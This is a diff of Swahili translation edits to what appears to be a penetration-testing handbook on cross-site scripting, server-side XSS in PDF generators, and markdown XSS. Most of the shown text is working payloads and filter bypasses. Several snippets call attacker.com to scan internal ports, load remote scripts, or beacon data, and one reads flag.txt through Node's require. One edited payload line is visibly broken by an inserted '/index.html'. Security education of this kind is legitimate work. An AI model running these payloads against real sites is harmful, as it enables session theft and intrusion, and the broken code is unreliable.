Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
 | 
			
		||||
 | 
			
		||||
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/kuandika URL**
 | 
			
		||||
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/URL encode**
 | 
			
		||||
 | 
			
		||||
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utendaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
 | 
			
		||||
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -303,7 +303,7 @@ Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
 | 
			
		||||
```
 | 
			
		||||
### Protokali Maalum Ndani ya sifa
 | 
			
		||||
 | 
			
		||||
Hapo unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
 | 
			
		||||
Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
 | 
			
		||||
```javascript
 | 
			
		||||
javascript:alert(1)
 | 
			
		||||
JavaSCript:alert(1)
 | 
			
		||||
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 | 
			
		||||
```
 | 
			
		||||
**Njia nyingine za kuficha**
 | 
			
		||||
 | 
			
		||||
_**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka sehemu ya awali pia ni halali kwani uko ndani ya sifa.**_
 | 
			
		||||
_**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
 | 
			
		||||
```javascript
 | 
			
		||||
<a href="javascript:var a=''-alert(1)-''">
 | 
			
		||||
```
 | 
			
		||||
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa limefutwa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
 | 
			
		||||
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa limeondolewa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
 | 
			
		||||
```javascript
 | 
			
		||||
'-alert(1)-'
 | 
			
		||||
%27-alert(1)-%27
 | 
			
		||||
@ -386,7 +386,7 @@ Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangili
 | 
			
		||||
### juu ya Kuepuka Wakati wa Matukio
 | 
			
		||||
 | 
			
		||||
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
 | 
			
		||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda hizi hata handlers unaweza kujaribu kuepuka zifuatazo:
 | 
			
		||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda hizi hata handlers unaweza kujaribu njia zifuatazo za kuepuka:
 | 
			
		||||
```javascript
 | 
			
		||||
<svg onload%09=alert(1)> //No safari
 | 
			
		||||
<svg %09onload=alert(1)>
 | 
			
		||||
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
 | 
			
		||||
Opera: %09 %20 %2C %3B
 | 
			
		||||
Android: %09 %20 %28 %2C %3B
 | 
			
		||||
```
 | 
			
		||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kuyaficha, kiungo, kanuni, meta)
 | 
			
		||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
 | 
			
		||||
 | 
			
		||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kuyaficha:**
 | 
			
		||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
 | 
			
		||||
```html
 | 
			
		||||
<button popvertarget="x">Click me</button>
 | 
			
		||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 | 
			
		||||
@ -426,14 +426,14 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
 | 
			
		||||
```markup
 | 
			
		||||
<input type="hidden" accesskey="X" onclick="alert(1)">
 | 
			
		||||
```
 | 
			
		||||
**Mchango wa XSS utakuwa kama ifuatavyo: `" accesskey="x" onclick="alert(1)" x="`**
 | 
			
		||||
**Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
 | 
			
		||||
 | 
			
		||||
### Kupita kwenye Orodha ya Blacklist
 | 
			
		||||
 | 
			
		||||
Njia kadhaa za kutumia uandishi tofauti zimefunuliwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
 | 
			
		||||
Njia kadhaa za kutumia uandishi tofauti zimeonyeshwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
 | 
			
		||||
 | 
			
		||||
- **Uandishi wa HTML (vitambulisho vya HTML)**
 | 
			
		||||
- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
 | 
			
		||||
- **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
 | 
			
		||||
- **Uandishi wa URL**
 | 
			
		||||
- **Uandishi wa Hex na Octal**
 | 
			
		||||
- **Uandishi wa data**
 | 
			
		||||
@ -470,9 +470,9 @@ Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact
 | 
			
		||||
 | 
			
		||||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
 | 
			
		||||
 | 
			
		||||
### Kutoroka \<script> tag
 | 
			
		||||
### Kuepuka \<script> tag
 | 
			
		||||
 | 
			
		||||
Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi **kutoroka kufunga `<script>`** tag:
 | 
			
		||||
Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi **kuepuka kufunga `<script>`** tag:
 | 
			
		||||
```javascript
 | 
			
		||||
</script><img src=1 onerror=alert(document.domain)>
 | 
			
		||||
```
 | 
			
		||||
@ -480,7 +480,7 @@ Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sab
 | 
			
		||||
 | 
			
		||||
### Ndani ya msimbo wa JS
 | 
			
		||||
 | 
			
		||||
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo na mpangilio**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
 | 
			
		||||
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
 | 
			
		||||
```
 | 
			
		||||
'-alert(document.domain)-'
 | 
			
		||||
';alert(document.domain)//
 | 
			
		||||
@ -488,8 +488,8 @@ Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina
 | 
			
		||||
```
 | 
			
		||||
### Template literals \`\`
 | 
			
		||||
 | 
			
		||||
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
 | 
			
		||||
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
 | 
			
		||||
Ili kujenga **nyuzi** mbali na nukta za moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
 | 
			
		||||
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
 | 
			
		||||
 | 
			
		||||
Hii inaweza **kutumiwa vibaya** kwa kutumia:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -503,7 +503,7 @@ return loop
 | 
			
		||||
}
 | 
			
		||||
loop``````````````
 | 
			
		||||
```````````````
 | 
			
		||||
### Utekelezaji wa msimbo uliofungwa
 | 
			
		||||
### Utekelezaji wa msimbo uliokodishwa
 | 
			
		||||
```markup
 | 
			
		||||
<script>\u0061lert(1)</script>
 | 
			
		||||
<svg><script>alert('1')
 | 
			
		||||
@ -518,7 +518,7 @@ alert(1)
 | 
			
		||||
```
 | 
			
		||||
### Mbinu za kupita orodha za mblacklist za JavaScript
 | 
			
		||||
 | 
			
		||||
**Mifumo ya maandiko**
 | 
			
		||||
**Mifumo ya maneno**
 | 
			
		||||
```javascript
 | 
			
		||||
"thisisastring"
 | 
			
		||||
'thisisastrig'
 | 
			
		||||
@ -774,7 +774,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
 | 
			
		||||
 | 
			
		||||
### Unicode Iliyosawazishwa
 | 
			
		||||
 | 
			
		||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
 | 
			
		||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
 | 
			
		||||
 | 
			
		||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
 | 
			
		||||
```javascript
 | 
			
		||||
@ -787,7 +787,7 @@ Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa
 | 
			
		||||
```
 | 
			
		||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 | 
			
		||||
```
 | 
			
		||||
Pairi "Key","Value" itarudi kama ifuatavyo:
 | 
			
		||||
Jumla "Key","Value" itarudi kama ifuatavyo:
 | 
			
		||||
```
 | 
			
		||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
 | 
			
		||||
```
 | 
			
		||||
@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3)
 | 
			
		||||
```
 | 
			
		||||
### XSS na uingizaji wa kichwa katika jibu la 302
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, hivyo tu mzigo wa cross-site scripting hauwezi kutumika.
 | 
			
		||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
 | 
			
		||||
 | 
			
		||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza mzigo wa XSS ndani ya mwili.\
 | 
			
		||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
 | 
			
		||||
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
 | 
			
		||||
 | 
			
		||||
### Herufi, Nambari na Nukta Pekee
 | 
			
		||||
@ -896,9 +896,9 @@ import moment from "moment"
 | 
			
		||||
import { partition } from "lodash"
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
 | 
			
		||||
Tabia hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval itumike vibaya inaweza kusababisha XSS.
 | 
			
		||||
 | 
			
		||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
 | 
			
		||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
 | 
			
		||||
```html
 | 
			
		||||
<script type="speculationrules">
 | 
			
		||||
{
 | 
			
		||||
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 | 
			
		||||
 | 
			
		||||
// use of with
 | 
			
		||||
with(console)log(123)
 | 
			
		||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
 | 
			
		||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 | 
			
		||||
// Just replace console.log(1) to the real code, the code we want to run is:
 | 
			
		||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 | 
			
		||||
 | 
			
		||||
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 | 
			
		||||
)
 | 
			
		||||
})()
 | 
			
		||||
```
 | 
			
		||||
Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi:
 | 
			
		||||
Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** wa moduli na kupata **`require`** kazi:
 | 
			
		||||
```javascript
 | 
			
		||||
try {
 | 
			
		||||
null.f()
 | 
			
		||||
@ -1238,7 +1238,7 @@ steal-info-js.md
 | 
			
		||||
 | 
			
		||||
### Iframe Trap
 | 
			
		||||
 | 
			
		||||
Fanya mtumiaji aelekee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
 | 
			
		||||
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../iframe-traps.md
 | 
			
		||||
@ -1339,11 +1339,11 @@ q.shift()()
 | 
			
		||||
}
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### Port Scanner (fetch)
 | 
			
		||||
### Scanner ya Port (fetch)
 | 
			
		||||
```javascript
 | 
			
		||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 | 
			
		||||
```
 | 
			
		||||
### Skana wa Bandari (websockets)
 | 
			
		||||
### Scanner ya Port (websockets)
 | 
			
		||||
```python
 | 
			
		||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 | 
			
		||||
for(var i=0; i<ports.length; i++) {
 | 
			
		||||
@ -1381,7 +1381,7 @@ Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nyw
 | 
			
		||||
 | 
			
		||||
### Keylogger
 | 
			
		||||
 | 
			
		||||
Nikiwa naangalia kwenye github, niliona tofauti kadhaa:
 | 
			
		||||
Nikiwa naangalia kwenye github, nilipata baadhi yao tofauti:
 | 
			
		||||
 | 
			
		||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 | 
			
		||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 | 
			
		||||
@ -1471,9 +1471,9 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
 | 
			
		||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 | 
			
		||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 | 
			
		||||
```
 | 
			
		||||
### Regex - Kupata Maudhui Yaliyofichwa
 | 
			
		||||
### Regex - Access Hidden Content
 | 
			
		||||
 | 
			
		||||
Kutoka [**hii ripoti**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
 | 
			
		||||
Kutoka [**hii andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
 | 
			
		||||
```javascript
 | 
			
		||||
// Do regex with flag
 | 
			
		||||
flag = "CTF{FLAG}"
 | 
			
		||||
@ -1512,7 +1512,7 @@ Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF
 | 
			
		||||
```python
 | 
			
		||||
<esi:include src="http://yoursite.com/capture" />
 | 
			
		||||
```
 | 
			
		||||
Tumia hii kupita vizuizi vya kuki, XSS filters na mengi zaidi!\
 | 
			
		||||
Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
 | 
			
		||||
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 | 
			
		||||
 | 
			
		||||
### XSS katika PDF inayoundwa kwa dinamik
 | 
			
		||||
 | 
			
		||||
@ -4,19 +4,19 @@
 | 
			
		||||
 | 
			
		||||
## Server Side XSS (Dynamic PDF)
 | 
			
		||||
 | 
			
		||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
 | 
			
		||||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
 | 
			
		||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS wa kiholela**.\
 | 
			
		||||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
 | 
			
		||||
 | 
			
		||||
Tafadhali, zingatia kwamba vitambulisho vya `<script></script>` havifanyi kazi kila wakati, hivyo utahitaji njia tofauti ya kutekeleza JS (kwa mfano, kutumia `<img` ).\
 | 
			
		||||
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachoki **andika kupitia JS** (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **hutaweza kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
 | 
			
		||||
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachokiandika kupitia JS (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **huwezi kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
 | 
			
		||||
 | 
			
		||||
### Uundaji wa PDF maarufu
 | 
			
		||||
 | 
			
		||||
- **wkhtmltopdf** inajulikana kwa uwezo wake wa kubadilisha HTML na CSS kuwa hati za PDF, ikitumia injini ya uwasilishaji ya WebKit. Chombo hiki kinapatikana kama zana ya amri ya chanzo wazi, na kufanya iweze kupatikana kwa matumizi mbalimbali.
 | 
			
		||||
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbaji, ikionyesha uwezo wake wa kuunda hati ngumu.
 | 
			
		||||
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbuaji, ikionyesha uwezo wake wa kuunda hati ngumu.
 | 
			
		||||
- Kwa wale wanaofanya kazi katika mazingira ya Node.js, **PDFKit** inatoa chaguo linalofaa. Inaruhusu uundaji wa hati za PDF moja kwa moja kutoka HTML na CSS, ikitoa daraja kati ya maudhui ya wavuti na fomati zinazoweza kuchapishwa.
 | 
			
		||||
- Wataalamu wa Java wanaweza kupendelea **iText**, maktaba ambayo si tu inarahisisha uundaji wa PDF bali pia inasaidia vipengele vya juu kama saini za dijitali na kujaza fomu. Seti yake kamili ya vipengele inafanya iweze kutumika kwa kuunda hati salama na za mwingiliano.
 | 
			
		||||
- **FPDF** ni maktaba nyingine ya PHP, inayojulikana kwa urahisi na urahisi wa matumizi. Imepangwa kwa ajili ya waendelezaji wanaotafuta njia rahisi ya uundaji wa PDF, bila haja ya vipengele vya kina.
 | 
			
		||||
- **FPDF** ni maktaba nyingine ya PHP, inayojulikana kwa urahisi na urahisi wa matumizi. Imeundwa kwa waendelezaji wanaotafuta njia rahisi ya uundaji wa PDF, bila haja ya vipengele vya kina.
 | 
			
		||||
 | 
			
		||||
## Payloads
 | 
			
		||||
 | 
			
		||||
@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
 | 
			
		||||
<img src="x" onerror="document.write(window.location)" />
 | 
			
		||||
<script> document.write(window.location) </script>
 | 
			
		||||
```
 | 
			
		||||
### Pakia skripti ya nje
 | 
			
		||||
### Load an external script
 | 
			
		||||
 | 
			
		||||
Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakie skripti unayodhibiti kwa ndani. Kisha, utaweza kubadilisha mzigo kwa ndani na kufanya bot ipakie hiyo kwa kutumia kanuni ile ile kila wakati.
 | 
			
		||||
Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakue script unayodhibiti kwa ndani. Kisha, utaweza kubadilisha payload kwa ndani na kufanya bot ipakue hiyo kwa kutumia msimbo sawa kila wakati.
 | 
			
		||||
```markup
 | 
			
		||||
<script src="http://attacker.com/myscripts.js"></script>
 | 
			
		||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
 | 
			
		||||
@ -128,7 +128,7 @@ time += 500;
 | 
			
		||||
</script>
 | 
			
		||||
<img src="https://attacker.com/delay">
 | 
			
		||||
```
 | 
			
		||||
### Skana ya Bandari
 | 
			
		||||
### Skanningi ya Bandari
 | 
			
		||||
```markup
 | 
			
		||||
<!--Scan local port and receive a ping indicating which ones are found-->
 | 
			
		||||
<script>
 | 
			
		||||
@ -145,15 +145,15 @@ checkPort(i);
 | 
			
		||||
</script>
 | 
			
		||||
<img src="https://attacker.com/startingScan">
 | 
			
		||||
```
 | 
			
		||||
### [SSRF](../ssrf-server-side-request-forgery/)
 | 
			
		||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
Ukiwa na udhaifu huu, unaweza kubadilisha kwa urahisi kuwa SSRF (kwa sababu unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu tu kuutumia (soma metadata baadhi?).
 | 
			
		||||
Uthibitisho huu unaweza kubadilishwa kwa urahisi kuwa SSRF (kama unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu tu kuutumia (kusoma metadata?).
 | 
			
		||||
 | 
			
		||||
### Attachments: PD4ML
 | 
			
		||||
 | 
			
		||||
Kuna injini kadhaa za HTML 2 PDF ambazo zinaruhusu **kuelezea viambatisho kwa PDF**, kama **PD4ML**. Unaweza kutumia kipengele hiki **kuambatisha faili yoyote ya ndani** kwenye PDF.\
 | 
			
		||||
Ili kufungua kiambatisho, nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
 | 
			
		||||
Kuchukua **PDF response** na burp pia inapaswa **kuonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
 | 
			
		||||
Ili kufungua kiambatisho nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
 | 
			
		||||
Kuchukua **jibu la PDF** na burp pia **kitaonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
 | 
			
		||||
```html
 | 
			
		||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
 | 
			
		||||
<html>
 | 
			
		||||
@ -163,7 +163,7 @@ description="attachment sample"
 | 
			
		||||
icon="Paperclip" />
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
## Marejeleo
 | 
			
		||||
## Marejeo
 | 
			
		||||
 | 
			
		||||
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
 | 
			
		||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
 | 
			
		||||
 | 
			
		||||
@ -6,7 +6,7 @@ Ikiwa una nafasi ya kuingiza msimbo katika markdown, kuna chaguzi chache unazowe
 | 
			
		||||
 | 
			
		||||
### HTML tags
 | 
			
		||||
 | 
			
		||||
Njia ya kawaida zaidi ya kupata XSS katika markdown ni kuingiza vitambulisho vya kawaida vya HTML vinavyotekeleza javascript, kwa sababu wahakiki wa markdown kadhaa pia watakubali HTML.
 | 
			
		||||
Njia ya kawaida zaidi ya kupata XSS katika markdown ni kuingiza lebo za kawaida za HTML ambazo zinaendesha javascript, kwa sababu tafsiri kadhaa za markdown pia zitakubali HTML.
 | 
			
		||||
```html
 | 
			
		||||
<!-- XSS with regular tags -->
 | 
			
		||||
<script>
 | 
			
		||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
 | 
			
		||||
```
 | 
			
		||||
### HTML Sanitiser Markdown Bypass
 | 
			
		||||
 | 
			
		||||
Msimbo ufuatao unafanya **kusafisha ingizo la HTML** na kisha **kulipeleka kwa parser ya markdown**, kisha, XSS inaweza kuanzishwa kwa kutumia tafsiri mbaya kati ya Markdown na DOMPurify 
 | 
			
		||||
Mfuatano wa msimbo huu unafanya **kusafisha ingizo la HTML** na kisha **kulipeleka kwa parser ya markdown**, kisha, XSS inaweza kuanzishwa kwa kutumia tafsiri mbaya kati ya Markdown na DOMPurify 
 | 
			
		||||
```html
 | 
			
		||||
